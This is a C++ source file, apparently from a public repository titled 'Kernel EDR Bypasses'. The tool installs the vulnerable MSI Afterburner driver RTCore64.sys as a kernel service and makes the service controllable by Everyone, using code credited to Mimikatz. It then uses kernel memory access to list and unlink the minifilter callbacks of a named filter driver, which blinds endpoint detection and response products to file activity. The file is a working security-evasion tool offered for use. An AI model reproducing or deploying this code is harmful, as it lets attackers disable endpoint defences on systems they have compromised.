Files
V-i-x-x-kernel-callback-rem…/MiniFilterFileCallbackKernelBypass/MiniFilterFileCallbackernelBypass/MiniFilterFileCallbackernelBypass.cpp
T
Vixx b68311ca53 Kernel EDR Bypasses
Kernel EDR Bypasses
2025-03-18 20:42:41 +02:00

219 lines
7.9 KiB
C++

#include <Windows.h>
#include "memory.h"
#include "FltUtil.h"
//Mimikatz code to load / unload driver
BOOL kull_m_service_addWorldToSD(SC_HANDLE monHandle) {
BOOL status = FALSE;
DWORD dwSizeNeeded;
PSECURITY_DESCRIPTOR oldSd, newSd;
SECURITY_DESCRIPTOR dummySdForXP;
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
EXPLICIT_ACCESS ForEveryOne = {
SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL,
SET_ACCESS,
NO_INHERITANCE,
{NULL, NO_MULTIPLE_TRUSTEE, TRUSTEE_IS_SID, TRUSTEE_IS_WELL_KNOWN_GROUP, NULL}
};
if (!QueryServiceObjectSecurity(monHandle, DACL_SECURITY_INFORMATION, &dummySdForXP, 0, &dwSizeNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) {
if (oldSd = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, dwSizeNeeded)) {
if (QueryServiceObjectSecurity(monHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) {
if (AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, (PSID*)&ForEveryOne.Trustee.ptstrName)) {
if (BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryOne, 0, NULL, oldSd, &dwSizeNeeded, &newSd) == ERROR_SUCCESS) {
status = SetServiceObjectSecurity(monHandle, DACL_SECURITY_INFORMATION, newSd);
LocalFree(newSd);
}
FreeSid(ForEveryOne.Trustee.ptstrName);
}
}
LocalFree(oldSd);
}
}
return status;
}
DWORD service_install(PCWSTR serviceName, PCWSTR displayName, PCWSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt) {
BOOL status = FALSE;
SC_HANDLE hSC = NULL, hS = NULL;
if (hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE)) {
if (hS = OpenService(hSC, serviceName, SERVICE_START)) {
wprintf(L"[+] \'%s\' service already registered\n", serviceName);
}
else {
if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) {
wprintf(L"[*] \'%s\' service not present\n", serviceName);
if (hS = CreateService(hSC, serviceName, displayName, READ_CONTROL | WRITE_DAC | SERVICE_START, serviceType, startType, SERVICE_ERROR_NORMAL, binPath, NULL, NULL, NULL, NULL, NULL)) {
wprintf(L"[+] \'%s\' service successfully registered\n", serviceName);
if (status = kull_m_service_addWorldToSD(hS))
wprintf(L"[+] \'%s\' service ACL to everyone\n", serviceName);
else printf("kull_m_service_addWorldToSD");
}
else PRINT_ERROR_AUTO(L"CreateService");
}
else PRINT_ERROR_AUTO(L"OpenService");
}
if (hS) {
if (startIt) {
if (status = StartService(hS, 0, NULL))
wprintf(L"[+] \'%s\' service started\n", serviceName);
else if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING)
wprintf(L"[*] \'%s\' service already started\n", serviceName);
else {
PRINT_ERROR_AUTO(L"StartService");
}
}
CloseServiceHandle(hS);
}
CloseServiceHandle(hSC);
}
else {
PRINT_ERROR_AUTO(L"OpenSCManager(create)");
return GetLastError();
}
return 0;
}
BOOL kull_m_service_genericControl(PCWSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus) {
BOOL status = FALSE;
SC_HANDLE hSC, hS;
SERVICE_STATUS serviceStatus;
if (hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) {
if (hS = OpenService(hSC, serviceName, dwDesiredAccess)) {
status = ControlService(hS, dwControl, ptrServiceStatus ? ptrServiceStatus : &serviceStatus);
CloseServiceHandle(hS);
}
CloseServiceHandle(hSC);
}
return status;
}
BOOL service_uninstall(PCWSTR serviceName) {
if (kull_m_service_genericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, NULL)) {
wprintf(L"[+] \'%s\' service stopped\n", serviceName);
}
else if (GetLastError() == ERROR_SERVICE_NOT_ACTIVE) {
wprintf(L"[*] \'%s\' service not running\n", serviceName);
}
else {
PRINT_ERROR_AUTO(L"kull_m_service_stop");
return FALSE;
}
if (SC_HANDLE hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) {
if (SC_HANDLE hS = OpenService(hSC, serviceName, DELETE)) {
BOOL status = DeleteService(hS);
CloseServiceHandle(hS);
}
CloseServiceHandle(hSC);
}
return TRUE;
}
// thanks gentilkiwi!
int main(int argc, char** argv) {
if (argc < 2) {
printf("Usage: %s\n"
" /filtersshow <filtername> - List Filters or Major Function for a filter\n"
" /filterlinks <filtername> - Remove Filters related to that driver\n"
" /installDriver - Install the MSI driver\n"
" /uninstallDriver - Uninstall the MSI driver\n"
, argv[0]);
return 0;
}
if (strcmp(argv[1] + 1, "installDriver") == 0) {
const auto svcName = L"RTCore64";
const auto svcDesc = L"Micro-Star MSI Afterburner";
const wchar_t driverName[] = L"\\RTCore64.sys";
const auto pathSize = MAX_PATH + sizeof(driverName) / sizeof(wchar_t);
TCHAR driverPath[pathSize];
GetCurrentDirectory(pathSize, driverPath);
wcsncat_s(driverPath, driverName, sizeof(driverName) / sizeof(wchar_t));
if (auto status = service_install(svcName, svcDesc, driverPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE) == 0x00000005) {
wprintf(L"[!] 0x00000005 - Access Denied - Did you run as administrator?\n");
}
return 0;
}
else if (strcmp(argv[1] + 1, "uninstallDriver") == 0) {
const auto svcName = L"RTCore64";
const auto svcDesc = L"Micro-Star MSI Afterburner";
const wchar_t driverName[] = L"\\RTCore64.sys";
const auto pathSize = MAX_PATH + sizeof(driverName) / sizeof(wchar_t);
TCHAR driverPath[pathSize];
GetCurrentDirectory(pathSize, driverPath);
wcsncat_s(driverPath, driverName, sizeof(driverName) / sizeof(wchar_t));
service_uninstall(svcName);
return 0;
}
char* strFilterName = (char*) "test";
char* strDriverName;
UCHAR indexToRemove = 0;
DWORD64 AddressToRemove = 0x00;
if ((!strcmp(argv[1] + 1, "filtersshow") || !strcmp(argv[1] + 1, "filterlinks")) && argv[2] != NULL ) {
strFilterName = argv[2];
}
if ((!strcmp(argv[1] + 1, "filterlinks")) && argc > 3 && argv[3] != NULL) {
char* inputString = argv[3];
int inputValue = std::atoi(inputString);
indexToRemove = static_cast<UCHAR>(inputValue);
}
if (!strcmp(argv[1] + 1, "networkfilters") && argv[2] != NULL && !strcmp(argv[2] + 1, "address") && argc > 3 && argv[3] != NULL) {
AddressToRemove = (DWORD64) argv[3];
}
Memory m = Memory();
FltManager oFlt = FltManager(&m);
if (!strcmp(argv[1] + 1, "filtersshow") || !strcmp(argv[1] + 1, "filterlinks")) {
wchar_t* wstrFilterName = new wchar_t[strlen(strFilterName) + 2];
size_t numConv = 0;
mbstowcs_s(&numConv, wstrFilterName, strlen(strFilterName) + 2, strFilterName, strlen(strFilterName));
printf("Enumerating for filter %S\n", wstrFilterName);
DWORD dwX = oFlt.GetFrameCount();
printf("Flt globals is at %p\n", oFlt.lpFltGlobals);
printf("%d frames available\n", dwX);
printf("Frame list is at %p\n", oFlt.lpFltFrameList);
PVOID lpFilter = oFlt.GetFilterByName(wstrFilterName);
if (!lpFilter) {
puts("Target filter not found, exiting...");
exit(-1);
}
PVOID lpFrame = oFlt.GetFrameForFilter(lpFilter);
if (!lpFrame) {
puts("Failed to get frame for filter!");
exit(-1);
}
printf("Frame for filter is at %p\n", lpFrame);
auto vecOperations = oFlt.GetOperationsForFilter(lpFilter);
for (auto op : vecOperations) {
const char* strOperation = g_IrpMjMap.count((BYTE)op.MajorFunction) ? g_IrpMjMap[(BYTE)op.MajorFunction] : "IRP_MJ_UNDEFINED";
printf("MajorFn: %s\nPre: %p\nPost %p\n", strOperation, op.PreOperation, op.PostOperation);
}
auto frameVolumes = oFlt.EnumFrameVolumes(lpFrame);
const wchar_t* strHardDiskPrefix = LR"(\Device\HarddiskVolume)";
BOOL bRes = false;
if (strcmp(argv[1] + 1, "filterlinks") == 0) {
bRes = oFlt.UnLinksForVolumesAndCallbacks(vecOperations, frameVolumes, indexToRemove);
if (!bRes) {
puts("Error patching links!");
exit(-1);
}
}
printf("Press Enter to Restore");
Sleep(2000);
getchar();
BOOL res = oFlt.Restore();
}
return 0;
}